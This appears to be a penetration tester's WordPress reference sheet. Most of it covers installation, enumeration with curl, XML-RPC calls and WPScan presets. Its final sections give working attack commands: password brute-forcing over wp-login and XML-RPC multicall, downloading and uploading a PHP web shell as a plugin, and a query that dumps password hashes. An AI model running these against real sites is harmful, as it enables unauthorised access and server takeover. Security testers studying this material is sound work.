15CMS / Servers / Others
Wordpress
WordPress is a PHP-based Content Management System (CMS). A standard WordPress installation consists of the WordPress core, themes, plugins, uploads, configuration files, and a MySQL/MariaDB database.
00 Basic
00.1 Architecture
bash64 lines
+-------------------------------+| WordPress |+-------------------------------+ | +-------+-------+ | | v v+-----------+ +-----------+| PHP/Core | | Database |+-----------+ +-----------+ | +-------------------------------+ | | | v v v+-----------+ +-----------+ +-----------+| Plugins | | Themes | | Uploads |+-----------+ +-----------+ +-----------+
## ------------------| File Structurewordpress/├── wp-admin/ ## WordPress Core├── wp-content/ ## User / Custom Content│ ├── plugins/ ## Plugins│ ├── themes/ ## Themes│ ├── uploads/ ## Media Uploads│ ├── mu-plugins/ ## Must-Use Plugins│ └── languages/│ └── debug.log ## Debug Log├── wp-includes/ ## WordPress Core├── wp-json/ ## REST API├── index.php├── license.txt ## Information├── readme.html ## Information├── wp-activate.php├── wp-blog-header.php├── wp-comments-post.php├── wp-config.php ## Main Configuration├── wp-config-sample.php├── wp-cron.php ## Scheduled Jobs├── wp-links-opml.php├── wp-load.php ## WordPress Bootstrap├── wp-login.php ## Login├── wp-mail.php├── wp-settings.php ## WordPress Bootstrap├── wp-signup.php├── wp-trackback.php├── install.php ## Installation└── xmlrpc.php ## XML-RPC└── wp-sitemap.xml ## Sitemap└── sitemap.xml ## Sitemap
## ------------------| Database#### Table prefix does not have to be wp_.#### Check from wp-config.php for $table_prefix = 'wp_';wp_users ## Users, usernames, password hasheswp_usermeta ## User roles and metadatawp_options ## Site configuration, plugin settingswp_posts. ## Posts, pages, custom contentwp_postmeta ## Additional post metadatawp_comments ## Commentswp_term*. ## Categories, tags and taxonomies
#### Typical privilege orderAdministrator -> Editor -> Author -> Contributor -> Subscriber00.2 Installation
bash66 lines
## ------------------| Downloadwget https://wordpress.org/latest.tar.gztar -xzvf latest.tar.gz ## Extractsudo mv wordpress /var/www/html/ ## Move
## ------------------| Create databassudo mysql -u root -p ## Login MySQLCREATE DATABASE wordpress; ## Create DatabaseCREATE USER 'wordpress'@'localhost' IDENTIFIED BY '<PASS>'; ## Create UserGRANT ALL PRIVILEGES ON wordpress.* TO 'wordpress'@'localhost'; ## Grant PermissionFLUSH PRIVILEGES; ## ReloadEXIT;
## ------------------| Create configuration (wp-config.php)define( 'DB_NAME', 'wordpress' ); ## Databasedefine( 'DB_USER', 'wordpress' ); ## Databasedefine( 'DB_PASSWORD', '<PASS>' ); ## Databasedefine( 'DB_HOST', 'localhost' ); ## Databasedefine( 'DB_CHARSET', 'utf8mb4' ); ## Charsetdefine( 'DB_COLLATE', '' ); ## Charset$table_prefix = 'wp_'; ## Prefixdefine( 'WP_DEBUG', true ); ## Enable Debugdefine( 'WP_DEBUG_LOG', true ); ## Write Debug Logdefine( 'WP_DEBUG_DISPLAY', false ); ## Disable Debug Displaydefine( 'DISALLOW_FILE_EDIT', true ); ## Disable theme/plugin file editordefine( 'WP_HOME', 'https://example.com' ); ## Set URLsdefine( 'WP_SITEURL', 'https://example.com' ); ## Set URLs
## ------------------| WP-CLI#### Download & Installationcurl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.pharphp wp-cli.phar --infochmod +x wp-cli.pharsudo mv wp-cli.phar /usr/local/bin/wp#### Informationwp --info ## Checkwp cli update ## Updatewp core version ## Versionwp core is-installed ## Check Installationwp core verify-checksums ## Verify Core Checksums#### Userswp user listwp user list --fields=ID,user_login,user_email,roles#### Pluginswp plugin listwp plugin list --status=active/inactivewp plugin list --format=json#### Themeswp theme listwp theme list --status=active#### Optionswp option listwp option get siteurlwp option get homewp option get admin_emailwp option get active_plugins#### Databasewp db tableswp db sizewp db checkwp db export backup.sql#### Configurationwp config listwp config get DB_NAMEwp config get DB_USERwp config get DB_HOST01 Enumeration
01.1 Manual Enumeration
bash76 lines
## ------------------| WordPress Indicatorscurl -sk https://<URL> | grep -iE "wp-content|wp-includes|wp-json|wordpress"curl -sk https://<URL> | grep -i "generator"curl -skI https://<URL> | grep -i "api.w.org"
## ------------------| Version Enumerationcurl -sk https://<URL> | grep -i "generator"curl -sk https://<URL>/feed/ | grep -i "generator"curl -sk https://<URL>/readme.htmlcurl -sk https://<URL> | grep -oE '\?ver=[0-9.]+' | sort -u#### Possible generator: <meta name="generator" content="WordPress 6.x.x" />
## ------------------| WordPress Cookieswordpress_[hash]wordpress_logged_in_[hash]wordpress_sec_[hash]wordpress_test_cookiewp-settings-{user_id}wp-settings-time-{user_id}
## ------------------| REST APIcurl -sk https://<URL>/wp-json/ | jqcurl -sk 'https://<URL>/?rest_route=/' | jq ## If pretty permalinks are disabledcurl -sk https://<URL>/wp-json/ | jq '.namespaces[]' ## Get namespacescurl -sk https://<URL>/wp-json/ | jq -r '.routes | keys[]' ## Get routescurl -sk https://<URL>/wp-json/wp/v2/users | jq ## Userscurl -sk https://<URL>/wp-json/wp/v2/posts | jq ## Postscurl -sk https://<URL>/wp-json/wp/v2/pages | jq ## Pagescurl -sk https://<URL>/wp-json/wp/v2/media | jq ## Mediacurl -sk 'https://<URL>/wp-json/wp/v2/search?search=test' | jq ## Search
## ------------------| User Enumerationhttps://<URL>/?author=1https://<URL>/?author=2https://<URL>/?author=3#### Automate basic rangefor i in {1..20}; do curl -skIL "https://<URL>/?author=$i" | grep -i '^location:' done#### REST APIcurl -sk https://<URL>/wp-json/wp/v2/users | jqcurl -sk https://<URL>/wp-json/wp/v2/users | jq -r '.[].slug'curl -sk https://<URL>/wp-json/wp/v2/users | jq -r '.[] | "\(.id) \(.name) \(.slug)"'
## ------------------| Plugin Enumeration/wp-content/plugins/<PLUGIN>/ ## Default locationcurl -sk https://<URL> | grep -oE 'wp-content/plugins/[^/"? ]+' | sort -ucurl -sk https://<URL> | grep -oE 'wp-content/plugins/[^"'\'']+' | sort -u#### Plugin Infocurl -skI https://<URL>/wp-content/plugins/<PLUGIN>/curl -sk https://<URL>/wp-content/plugins/<PLUGIN>/readme.txtcurl -sk https://<URL>/wp-content/plugins/<PLUGIN>/readme.txt | grep -iE "stable tag|version"
## ------------------| Theme Enumeration/wp-content/themes/<THEME>/ ## Default locationcurl -sk https://<URL> | grep -oE 'wp-content/themes/[^/"? ]+' | sort -u#### Theme metadatacurl -sk https://<URL>/wp-content/themes/<THEME>/style.csscurl -sk https://<URL>/wp-content/themes/<THEME>/style.css| grep -iE "Theme Name|Version|Template|Author"
## ------------------| Upload Enumeration/wp-content/uploads/ ## Default/wp-content/uploads/YYYY/MM/ ## Common structurecurl -skI https://<URL>/wp-content/uploads/curl -sk https://<URL> | grep -oE 'wp-content/uploads/[^"'\'']+' | sort -u
## ------------------| Sensitive / Backup Filescurl -skI https://<URL>/.envcurl -skI https://<URL>/.git/HEADcurl -skI https://<URL>/backup.sqlcurl -skI https://<URL>/backup.zipcurl -skI https://<URL>/backup.tar.gzcurl -skI https://<URL>/database.sqlcurl -skI https://<URL>/wp-config.php.bakcurl -skI https://<URL>/wp-config.php.oldcurl -skI https://<URL>/wp-config.php.savecurl -skI https://<URL>/wp-config.php~curl -skI https://<URL>/.wp-config.php.swp01.2 XMPRPC
- General
bash41 lines
## ------------------| Install Toolspip install python-wordpress-xmlrpc## ------------------| Example I - Get Profile### use bpython intractivefrom wordpress_xmlrpc import Clientimport wordpress_xmlrpc.methods as wpclient = Client('http://h4rithd.com/xmlrpc.php', 'username', 'password')client.call(wp.users.GetProfile())
## ------------------| XML-RPCcurl -skI https://<URL>/xmlrpc.phpcurl -sk https://<URL>/xmlrpc.phpcurl -sk -X POST https://<URL>/xmlrpc.php -H 'Content-Type: text/xml' \ --data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'
## ------------------| Interesting methods can includesystem.listMethodssystem.multicallwp.getUsersBlogswp.getUserswp.getPostspingback.ping
## ------------------| Lists all available XML-RPC methods on the servercurl -X POST http://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" --data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
## ------------------| Get information about Parameters and Return Type of a Methodcurl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>system.methodSignature</methodName><params><param><value><string>method_name</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'
## ------------------| Get Description of a Methodcurl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>system.methodHelp</methodName><params><param><value><string>method_name</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'
## ------------------| Send a Pingback Notificationcurl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>SOURCE_URL</string></value></param><param><value><string>TARGET_URL</string></value></param></params></methodCall>'
## ------------------| Get Pingbackscurl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>pingback.extensions.getPingbacks</methodName><params><param><value><string>URL</string></value></param></params></methodCall>'- Posts
bash41 lines
## ------------------| Creates a new post#### Core WordPress (wp.newPost)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.newPost</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>post_type</name><value><string>post</string></value></member><member><name>post_title</name><value><string>Hello, World!</string></value></member><member><name>post_content</name><value><string>This is my first post via XML-RPC.</string></value></member><member><name>post_status</name><value><string>publish</string></value></member></struct></value></param></params></methodCall>'#### MetaWeblog API (metaWeblog.newPost)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.newPost</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>title</name><value><string>New Post Title</string></value></member><member><name>description</name><value><string>This is the content of the new post.</string></value></member><member><name>categories</name><value><array><data><value><string>General</string></value></data></array></value></member><member><name>post_status</name><value><string>publish</string></value></member></struct></value></param></params></methodCall>'#### Blogger API (blogger.newPost)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>blogger.newPost</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>title</name><value><string>New Post Title</string></value></member><member><name>content</name><value><string>This is the content of the new post.</string></value></member><member><name>categories</name><value><array><data><value><string>General</string></value></data></array></value></member><member><name>publish</name><value><boolean>1</boolean></value></member></struct></value></param></params></methodCall>'
## ------------------| Edits an existing post#### Core WordPress (wp.newPost)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.editPost</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>123</int></value></param><param><value><struct><member><name>post_title</name><value><string>Updated Title</string></value></member><member><name>post_content</name><value><string>Updated content here.</string></value></member></struct></value></param></params></methodCall>'#### MetaWeblog API (metaWeblog.editPost)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.editPost</methodName><params><param><value><string>POST_ID</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>title</name><value><string>Updated Title</string></value></member><member><name>description</name><value><string>Updated content of the post.</string></value></member></struct></value></param></params></methodCall>'#### Blogger API (blogger.editPost)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>blogger.editPost</methodName><params><param><value><string>POST_ID</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>title</name><value><string>Updated Title</string></value></member><member><name>content</name><value><string>Updated content of the post.</string></value></member></struct></value></param></params></methodCall>'
## ------------------| Retrieves a specific post#### Core WordPress (wp.getPost)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getPost</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>123</int></value></param></params></methodCall>'#### MetaWeblog API (metaWeblog.getPost)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.getPost</methodName><params><param><value><string>POST_ID</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'
## ------------------| List All Posts#### Core WordPress (wp.getPosts)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getPosts</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>number</name><value><int>10</int></value></member></struct></value></param></params></methodCall>'
## ------------------| Retrieve Recent Posts#### MetaWeblog API (metaWeblog.getRecentPosts)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.getRecentPosts</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>5</int></value></param></params></methodCall>'
## ------------------| Retrieve a List of Blogs for the User#### Blogger API (blogger.getUsersBlogs)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>blogger.getUsersBlogs</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'
## ------------------| Deletes a post#### Core WordPress (wp.deletePost)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.deletePost</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>123</int></value></param></params></methodCall>'#### MetaWeblog API (metaWeblog.deletePost)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.deletePost</methodName><params><param><value><string>POST_ID</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'#### Blogger API (blogger.deletePost)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>blogger.deletePost</methodName><params><param><value><string>POST_ID</string></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><boolean>1</boolean></value></param></params></methodCall>'- Media
bash13 lines
## ------------------| Uploads a new media file#### Core WordPress (wp.uploadFile)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.uploadFile</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>name</name><value><string>example.jpg</string></value></member><member><name>type</name><value><string>image/jpeg</string></value></member><member><name>bits</name><value><base64>/9j/4AAQSkZJRgABAQEAAAAAAAD/2wCEAAgGBgcG...</base64></value></member><member><name>overwrite</name><value><boolean>1</boolean></value></member></struct></value></param></params></methodCall>'#### MetaWeblog API (metaWeblog.newMediaObject)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>metaWeblog.newMediaObject</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>name</name><value><string>example.jpg</string></value></member><member><name>type</name><value><string>image/jpeg</string></value></member><member><name>bits</name><value><base64>/9j/4AAQSkZJRgABAQEAAAAAAAD/2wCEAAgGBgcG...</base64></value></member></struct></value></param></params></methodCall>'
## ------------------| Retrieve a Specific Media Item#### Core WordPress (wp.getMediaItem)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getMediaItem</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>456</int></value></param></params></methodCall>'
## ------------------| Get a List of Media Files#### Core WordPress (wp.getMediaLibrary)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getMediaLibrary</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>number</name><value><int>10</int></value></member></struct></value></param></params></methodCall>'- Users
bash17 lines
## ------------------| Retrieve a List of Users#### Core WordPress (wp.getUsers)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getUsers</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'#### Blogger API (blogger.getUserInfo)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>blogger.getUserInfo</methodName><params><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'
## ------------------| Retrieve a Specific User#### Core WordPress (wp.getUser)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getUser</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>789</int></value></param></params></methodCall>'
## ------------------| Retrieve Profile Information#### Core WordPress (wp.getProfile)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getProfile</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param></params></methodCall>'
## ------------------| Edit Profile Information#### Core WordPress (wp.editProfile)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.editProfile</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>first_name</name><value><string>Harith</string></value></member></struct></value></param></params></methodCall>'- Comments
bash19 lines
## ------------------| Add a New Comment#### Core WordPress (wp.newComment)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.newComment</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>123</int></value></param><param><value><string>This is a new comment.</string></value></param></params></methodCall>'
## ------------------| Retrieve a List of Comments#### Core WordPress (wp.getComments)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getComments</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><struct><member><name>post_id</name><value><int>123</int></value></member></struct></value></param></params></methodCall>'
## ------------------| Retrieve a Specific Comment#### Core WordPress (wp.getComment)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.getComment</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>456</int></value></param></params></methodCall>'
## ------------------| Edit an Existing Comment#### Core WordPress (wp.editComment)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.editComment</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>456</int></value></param><param><value><struct><member><name>content</name><value><string>Updated comment text.</string></value></member></struct></value></param></params></methodCall>'
## ------------------| Delete a Comment#### Core WordPress (wp.deleteComment)curl -X POST https://h4rithd.com/xmlrpc.php -H "Content-Type: text/xml" -d '<?xml version="1.0"?><methodCall><methodName>wp.deleteComment</methodName><params><param><value><int>1</int></value></param><param><value><string>USERNAME</string></value></param><param><value><string>PASSWORD</string></value></param><param><value><int>456</int></value></param></params></methodCall>'01.2 WPScan Enumeration
01.2.1 Setup
bash11 lines
## ------------------| Install / Updatesudo apt update && sudo apt install wpscan ## KaliLinuxbrew install wpscanteam/tap/wpscan ## macOSgem install wpscan ## Ruby Gem
## ------------------| Setup API KeyWPSCAN_API_TOKEN='YOUR_WPSCAN_API_TOKEN'#### Permenentmkdir -p ~/.config/wpscan && printf "cli_options:\n api_token: '%s'\n" "$WPSCAN_API_TOKEN" > ~/.config/wpscan/scan.yml && chmod 600 ~/.config/wpscan/scan.yml#### Temporarywpscan --api-token WPSCAN_API_TOKEN --url https://h4rithd.com01.2.2 Scan
bash114 lines
## ------------------| Basicwpscan --url https://h4rithd.com ## Basic Scanwpscan -v --url https://h4rithd.com ## Verbosewpscan --force --url https://h4rithd.com ## Forcewpscan --stealthy --url https://h4rithd.com ## Stealthwpscan --disable-tls-checks --url https://h4rithd.com ## Disable TLS Checkswpscan --random-user-agent --url https://h4rithd.com ## Random User-Agentwpscan --url https://h4rithd.com -o wpscan.log ## Save Outputwpscan --url https://h4rithd.com -f json -o wpscan.json ## JSON
## ------------------| My Best Scan settingswpscan --rua --detection-mode mixed --plugins-detection mixed --throttle 700 -e ap,at,cb,dbe,bf,u --url https://h4rithd.com | tee wpscan.out
## ------------------| Proxy / Burp Suitewpscan --url https://h4rithd.com --proxy http://127.0.0.1:8080wpscan --disable-tls-checks --url https://h4rithd.com --proxy http://127.0.0.1:8080
## ------------------| Authenticationwpscan --url https://h4rithd.com --http-auth <USER>:<PASS> ## HTTP Basicwpscan --url https://h4rithd.com --cookie-string "name=value; name2=value2" ## Cookieswpscan --url https://h4rithd.com --headers "Authorization: Bearer <TOKEN>" ## Custom header
## ------------------| Threads / Throttlewpscan --url https://h4rithd.com --max-threads 10 ## Threadswpscan --url https://h4rithd.com --throttle 500 ## Throttlewpscan --url https://h4rithd.com --throttle 1000 ## Lower request volume
## ------------------| Custom Directorieswpscan --url https://h4rithd.com --wp-content-dir <DIRECTORY> ## Custom content directorywpscan --url https://h4rithd.com --wp-plugins-dir <DIRECTORY> ## Custom plugins directory
## ------------------| Enumeration Optionsvp ## Vulnerable pluginsap ## All pluginsp ## Popular pluginsvt ## Vulnerable themesat ## All themest ## Popular themestt ## TimThumb files (old PHP image resizing/caching script)cb ## Config backupsdbe ## Database exportsbf ## Backup foldersu ## Usersm ## Media IDs
## ------------------| Syntaxwpscan --url https://h4rithd.com -e vp ## Vulnerable Pluginswpscan --url https://h4rithd.com -e ap ## All Pluginswpscan --url https://h4rithd.com -e vt ## Vulnerable Themeswpscan --url https://h4rithd.com -e at ## All Themeswpscan --url https://h4rithd.com -e u ## Userswpscan --url https://h4rithd.com -e u1-100 ## Users 1-100wpscan --url https://h4rithd.com -e cb ## Config Backupswpscan --url https://h4rithd.com -e dbe ## Database Exportswpscan --url https://h4rithd.com -e bf ## Backup Folderswpscan --url https://h4rithd.com -e tt ## Timthumbwpscan --url https://h4rithd.com -e m ## Mediawpscan --url https://h4rithd.com -e m1-100 ## Media 1-100
## ------------------| Detection Modeswpscan --url https://h4rithd.com --detection-mode passive ## Passivewpscan --url https://h4rithd.com --detection-mode mixed ## Mixedwpscan --url https://h4rithd.com --detection-mode aggressive ## Aggressive
## ------------------| Plugin Enumerationwpscan --url https://h4rithd.com -e ap --plugins-detection passive ## Passive Plugins (All Plugins)wpscan --url https://h4rithd.com -e ap --plugins-detection mixed ## Mixed Plugins (All Plugins)wpscan --url https://h4rithd.com -e ap --plugins-detection aggressive ## Aggressive Plugins (All Plugins)wpscan --url https://h4rithd.com -e vp --plugins-detection mixed ## Vulnerable Plugins
## ------------------| Theme Enumerationwpscan --url https://h4rithd.com -e vt ## Vulnerable Themeswpscan --url https://h4rithd.com -e at ## All Themeswpscan --url https://h4rithd.com -e at --themes-detection aggressive ## Aggressive
## ------------------| User Enumerationwpscan --url https://h4rithd.com -e u ## Defaultwpscan --url https://h4rithd.com -e u1-20 ## Range
## ------------------| Backup Enumerationwpscan --url https://h4rithd.com -e cb ## Configuration backupswpscan --url https://h4rithd.com -e dbe ## Database exportswpscan --url https://h4rithd.com -e bf ## Backup directorieswpscan --url https://h4rithd.com -e cb,dbe,bf ## Combined
## ------------------| Password Attackwpscan --url https://h4rithd.com -U <USER> -P passwords.txt ## Usernamewpscan --url https://h4rithd.com -U users.txt -P passwords.txt ## Username filewpscan --url https://h4rithd.com -U users.txt -P passwords.txt --password-attack wp-login ## WordPress loginwpscan --url https://h4rithd.com -U users.txt -P passwords.txt --password-attack xmlrpc ## XML-RPCwpscan --url https://h4rithd.com -U users.txt -P passwords.txt --password-attack xmlrpc-multicall ## XML-RPC multicall
## ------------------| Better Enumerationwpscan --url https://h4rithd.com -e vp,vt,u ## Basic Enumerationwpscan --url https://h4rithd.com -e vp,vt,u,cb,dbe,bf ## Multiplewpscan --url https://h4rithd.com -e vp,vt,u,cb,dbe,bf --plugins-detection mixed ## Normal assessmentwpscan --url https://h4rithd.com -e ap,at,u,cb,dbe,bf,tt ## Comprehensive (ap and at can generate considerably more requests)wpscan --url https://h4rithd.com -e ap,at,u,cb,dbe,bf --plugins-detection aggressive ## Deep enumerationwpscan --url https://h4rithd.com -e vp,vt,u,cb,dbe,bf --plugins-detection mixed -f json -o wpscan.json
## ------------------| Simple WAF / rate-limit handlingwpscan --url https://h4rithd.com --random-user-agent --detection-mode mixed --plugins-detection mixed --throttle 500 -e ap,at,tt,cb,dbe,bf,u1-50
## ------------------| Stealth Scan#### stealthy ==> random-user-agent + detection-mode passive + plugins-version-detection passivewpscan --stealthy --throttle 1000 -e vp,vt,tt,cb,dbe,bf,u1-20,m1-50 --url https://h4rithd.comwpscan --stealthy --throttle 1000 -e vp,vt,tt,cb,dbe,bf,u1-20,m1-50 -o wpscan-stealth.out --url https://h4rithd.comwpscan --random-user-agent --detection-mode passive --plugins-detection passive --plugins-version-detection passive --themes-detection passive --themes-version-detection passive --throttle 1000 -e vp,vt,tt,cb,dbe,bf,u1-20,m1-50 -o wpscan-stealth.out --url https://h4rithd.com
## ------------------| Mixed (Recommended Scan)wpscan --random-user-agent --detection-mode mixed --plugins-detection mixed --plugins-version-detection mixed --themes-detection mixed --themes-version-detection mixed -e ap,at,tt,cb,dbe,bf,u1-50,m1-100 -o wpscan-mixed.out --url https://h4rithd.com
## ------------------| Aggressive / CTF Scanwpscan --random-user-agent --detection-mode aggressive --plugins-detection aggressive --plugins-version-detection aggressive --themes-detection aggressive --themes-version-detection aggressive --plugins-version-all --themes-version-all --plugins-threshold 0 --themes-threshold 0 --max-threads 10 -e ap,at,tt,cb,dbe,bf,u1-100,m1-100 -f json -o wpscan-aggressive.json --url https://h4rithd.com02 Other
02.1 WebShells
bash10 lines
## ------------------| WPForcegit clone https://github.com/n00py/WPForce.git && cd WPForcepython yertle.py -u "<USER>" -p "<PASS>" -t "<URL>" -i
## ------------------| Manual#### Create Pluginwget https://raw.githubusercontent.com/leonjza/wordpress-shell/master/shell.phpzip -r shell.zip shell.php#### Upload tohttp://<IP>/wp-admin/plugin-install.php02.2 Password Crack
bash17 lines
## ------------------| WPScan## ------------------| Password Attackwpscan --url https://h4rithd.com -U <USER> -P passwords.txt ## Usernamewpscan --url https://h4rithd.com -U users.txt -P passwords.txt ## Username filewpscan --url https://h4rithd.com -U users.txt -P passwords.txt --password-attack wp-login ## WordPress loginwpscan --url https://h4rithd.com -U users.txt -P passwords.txt --password-attack xmlrpc ## XML-RPCwpscan --url https://h4rithd.com -U users.txt -P passwords.txt --password-attack xmlrpc-multicall ## XML-RPC multicall
## ------------------| WPForcegit clone https://github.com/n00py/WPForce.git && cd WPForcepython2 wpforce.py -w <Password/List> -i <UserName/List> -u <URL>
## ------------------| WpCrackwget https://raw.githubusercontent.com/22XploiterCrew-Team/WpCrack/1.x/WpCrack.pypython WpCrack.py -t <URL> --p <Password/List> -u <USER>Username/Passwordselect user_login,user_pass from wp_users;